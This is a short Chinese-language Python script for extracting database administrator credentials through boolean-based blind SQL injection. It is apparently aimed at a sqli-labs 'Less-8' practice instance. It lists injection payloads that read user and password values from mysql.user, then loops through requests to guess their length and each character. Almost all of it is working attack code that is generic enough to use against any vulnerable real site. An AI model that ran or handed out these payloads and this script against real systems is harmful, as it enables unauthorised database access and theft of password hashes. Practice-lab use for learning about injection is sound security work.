Python猜解网站数据库管理员密码的脚本

?id=1' and length(
    (select group_concat(user,password)
    from mysql.user)
)=1 -- a

?id=1' and length(
    (select group_concat(user,password)
    from mysql.user)
)=42 -- a

?id=1' and ascii(substr(
    (select group_concat(user,password)
    from mysql.user)
,1,1))=32 -- a

import requests

# 只需要修改url 和 两个payload即可
# 目标网址（不带参数）
url = "http://a30842672c28473a956dc5ae3233d655.app.mituan.zone/Less-8"
# 猜解长度使用的payload
payload_len = """?id=1' and length((
                    select group_concat(user,password)
                    from mysql.user
                ))={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((
                    select group_concat(user,password)
                    from mysql.user
                ),{n},1))={r} -- a  """

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成，长度为：', length)
            return length;
        else:
            print('正在测试长度：',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    for l in range(1, length+1):
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功：', str)
                break;
    return str;

# 开始猜解
getStr(url, payload_str, getLength(url, payload_len))